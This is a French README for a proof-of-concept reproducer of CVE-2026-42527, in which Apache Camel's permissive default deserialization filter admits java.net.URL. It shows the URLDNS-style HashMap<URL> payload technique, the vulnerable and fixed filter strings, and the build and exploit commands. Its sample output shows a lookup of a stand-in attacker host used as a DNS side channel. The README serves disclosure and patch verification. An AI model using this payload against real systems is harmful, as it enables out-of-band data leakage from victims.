
Reproducteur pour CVE-2026-42527 — Le ObjectInputFilter permissif par défaut d'Apache Camel admet java.net.URL, permettant un canal secondaire hors bande basé sur DNS
Ce projet démontre CVE-2026-42527 dans Apache Camel. Le motif ObjectInputFilter par défaut que plusieurs composants Camel fournissent pour le filtrage de désérialisation en profondeur — java.**;javax.**;org.apache.camel.**;!* — utilise un glob récursif java.** qui admet java.net.URL. java.net.URL.hashCode() effectue une résolution DNS du nom d'hôte de l'URL, donc la désérialisation d'une HashMap (ou de toute collection qui hache ses éléments) contenant une clé java.net.URL amène la JVM à émettre une requête DNS vers un hôte contrôlé par l'attaquant pendant la désérialisation. La vérification du filtre au niveau de la classe réussit (l'objet résultant est une HashMap, qui est dans la liste autorisée), donc rien ne l'arrête — un canal auxiliaire de divulgation d'informations hors bande (pas une exécution de code).
Avis : https://camel.apache.org/security/CVE-2026-42527.html
| Propriété | Valeur |
|---|---|
| Composants | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, et les repos d'agrégation (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Défaut | Le filtre par défaut java.**;javax.**;org.apache.camel.**;!* admet java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (désérialisation non sécurisée) menant à une divulgation d'informations hors bande / SSRF aveugle via DNS |
| Impact | Requêtes DNS observables par l'attaquant pendant la désérialisation (canal auxiliaire d'exfiltration de données) |
| Versions affectées | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Rapporteurs | Venkatraman Kumar (Securin) and Yu Bao (PayPal) |
Ce défaut a été introduit par la série de renforcement de la désérialisation (CAMEL-23297/23319/23321/23322/23324), qui a ajouté le filtre par défaut trop permissif. CVE-2026-42527 le resserre.
Cette Preuve de Concept utilise camel-mina 4.18.2, où MinaConverter.toObjectInput installe le filtre par défaut directement sur le ObjectInputStream, donc le filtre est le contrôle de barrière (un contraste net entre version affectée et corrigée) :
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
Le glob java.** admet java.net.URL. Lors de la désérialisation d'une HashMap<URL, ...>, HashMap.readObject() réinsère l'entrée et calcule hash(key) → URL.hashCode() → InetAddress.getByName(host) → une requête DNS vers l'hôte de l'attaquant. Le correctif 4.18.3 / 4.21.0 ajoute un refus en préfixe :
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Maintenant java.net.URL est rejeté pendant la désérialisation (InvalidClassException: filter status: REJECTED) avant que hashCode() ne s'exécute — pas de requête DNS.
La plus grande exposition réelle concerne la famille camel-jms, où
JmsBinding.extractBodyFromJmsappelleObjectMessage.getObject()sans condition lorsquemapJmsMessage=true(par défaut). Cette POC utilise camel-mina car il est autonome (pas de courtier) et le filtre se trouve directement sur le flux.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() résout l'hôte via le résolveur de la JVM. Pour observer cette recherche de manière déterministe et hors ligne, l'application enregistre un java.net.spi.InetAddressResolverProvider personnalisé (JDK 18+, JEP 418) qui enregistre tout nom d'hôte contenant le marqueur de l'attaquant et répond avec un stub de bouclage. Voir l'hôte de l'attaquant atteindre le résolveur est le déclenchement du canal auxiliaire hors bande.
La charge utile est construite avec l'astuce classique ysoserial URLDNS : le champ hashCode mis en cache de l'URL est pré-initialisé de sorte que son insertion dans la carte du côté constructeur ne résout pas l'hôte, puis est réinitialisé à -1 pour que la recherche se produise uniquement lors de la désérialisation par la victime. (--add-opens java.base/java.net est nécessaire pour cette réflexion — un détail de construction de charge utile, sans rapport avec la vulnérabilité.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true signifie que la désérialisation de la HashMap<URL> de l'attaquant a résolu l'hôte de l'attaquant — un serveur DNS contrôlé par l'attaquant verrait cette requête.
Exécutez avec un filtre JVM durci (que toObjectInput respecte, et qui reflète le correctif 4.18.3) :
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down